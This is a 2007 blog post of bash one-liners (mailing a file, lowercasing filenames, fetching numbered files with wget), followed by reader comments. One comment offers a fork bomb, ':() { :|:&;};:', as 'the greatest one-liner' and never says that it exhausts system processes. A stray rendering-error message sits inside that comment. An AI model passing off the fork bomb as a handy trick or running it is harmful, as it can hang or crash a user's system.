Three quick one-line bash tricks

16 July 2007

This weekend I tried to go the whole time without any caffeine drinks, a feat that I would not recommend. Needless to say, I am very much looking forward to my cup of tea tomorrow morning. I am too sleepy to write a diatribe today, so here are three commands I have used recently.

Want to send yourself a file quickly?

If your mail server is properly set up then you can go:

mail -s "Boo Boo" youremail@host.com < file.txt

Want to make all files in your current directory lower case?

for i in * ; do mv $i `echo $i | tr [A-Z] [a-z]` ; done

Want to download a set of files that are numbered?

One way is to use seq which prints a sequence of numbers. If the numbers are all the same significant figure (e.g. they start 01 02), then use the -w argument, as shown below.

for i in `seq -w 1 12`; do wget --continue \ http://commandline.org.uk/images/posts/animal/$i.jpg; done

Have you got a favourite one liner? If so please do share it with us via the comments below.

1 Steve Dibb says...

For the last one, I like using {1..12} in bash better... I think you might be able to do the wget command in one line that way, instead of using the for.

Posted at 4:26 a.m. on July 16, 2007

2 Ciaran McCreesh says...

The greatest one-liner of all:

:() { :|:&;};:

System Message: WARNING/2 (<string>, line 3); backlink

Inline substitution_reference start-string without end-string.

Posted at 7:33 a.m. on July 16, 2007

3 Zeth says...

Hi Steve,

Yes I prefer that too. That would be something like this:

::wget --continue: http://commandline.org.uk/images/posts/animal/{1..12}.jpg

This does not work however for files numbered according to significant figures, e.g. 001.jpg, 002.jpg ... 010.jpg ... 100.jpg

The way without seq would be:

::for i in {1..100}; do wget: "http://commandline.org.uk/images/posts/animal/$(printf %03d $i).jpg"; done

While this is a bit clunkier, this is more cross-platform, you cannot guarantee that seq will be there on non-GNU, non-Linux systems (e.g. Solaris 9 does not have seq).

Posted at 9:05 a.m. on July 16, 2007

4 anonymous says...

About #2, when I see something like this I always worry about filenames with spaces in them.

I tried it out and it indeed can't handle them.

I can't come up with one using find -print0 and xargs -0... but take a look at comment #1 at this article: http://diveintomark.org/archives/2007/06/07/zmv

I wonder how that works...

Posted at 10:21 a.m. on July 17, 2007

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